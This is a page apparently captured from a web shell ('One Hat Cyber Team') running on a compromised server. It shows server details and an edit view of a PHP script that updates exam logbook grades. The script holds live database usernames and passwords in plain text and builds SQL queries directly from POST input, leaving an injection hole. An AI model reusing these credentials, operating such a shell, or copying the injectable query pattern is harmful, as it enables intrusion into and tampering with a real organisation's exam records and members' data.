One Hat Cyber Team

Your IP : 216.73.216.84

Server IP : 50.6.229.107

Server : Linux server.hostburly.com 5.14.0-611.38.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 10 17:21:28 EDT 2026 x86_64

Server Software : Apache

PHP Version : 8.2.30

Buat File | Buat Folder

Dir : ~/home/andjemzt/niqs.andjemztech.com.ng/

Edit File: gradelogbook3.php

<?php

header("Expires: Tue, 12 Jul 2011 06:00:00 GMT"); // *

header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");

header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");

header("Cache-Control: post-check=0, pre-check=0", false);

header("Pragma: no-cache");

$con = mysqli_connect('localhost','niqsorgn_portal','@Xchange69!') or die("Technical Error - 1001");

$con2 = mysqli_connect('localhost','niqsorgn_portal','@Xchange69!') or die("Technical Error - 1001");

$db =  mysqli_select_db($con, 'niqsorgn_exams') or die("Not Connected: Contact Programmer");

$db2 =  mysqli_select_db($con2, 'niqsorgn_pota1969') or die("Not Connected: Contact Programmer");

$mycount = 0;

if(isset($_POST["myset"])){

//get results

$set = $_POST["myset"];

$q = "select * from logbookresult where session='$set' AND statusupgrade != 'upgraded' limit 200";

$r = mysqli_query($con, $q);

if($r){

while($row = mysqli_fetch_array($r)){

//print_r($row);

$mymemberNo =  $row["memberNo"];

$mystage =  $row["stage"];

$mystatus =  $row["status"];

$mydateApproved =  $row["dateApproved"];

$myresultID = $row["id"];

//get member id from members table

$q2 = "select memberID, memberSurname, logbook from members where memberNo='$mymemberNo' limit 1";

$r2 = mysqli_query($con2, $q2);

if($r2){

$row2 = mysqli_fetch_array($r2);

$mymemberID = $row2["memberID"];

//print_r($row2);

}

//update members table

$q3 = "UPDATE members SET logbook='0' WHERE memberID='$mymemberID' limit 1";

$r3 = mysqli_query($con2, $q3);

//update logbook table

$q4 = "UPDATE logbook SET graded='1', grade='$mystatus', date_of_grading='$mydateApproved' WHERE candidate_id='$mymemberID' AND stage='$mystage' limit 1";

$r4 = mysqli_query($con2, $q4);

if($r4){

//echo "<br><br> $mymemberNo upgraded successfully ";

$q5 = "UPDATE logbookresult SET statusupgrade='upgraded' WHERE id='$myresultID' limit 1";

$r5 = mysqli_query($con, $q5);

$mycount = $mycount + 1;

}

echo "<h3> $mycount candidate(s) upgraded </h3>";

}

?>

<h3>Select the Diet and Proceed</h3>

<option value=""> -- SELECT --</option>

<?php

$x = date('Y');

for($i=2023; $i<=$x; $i++){

echo "<option>FEBRUARY $i</option>";

echo "<option>JULY $i</option>";

}

?>

</select>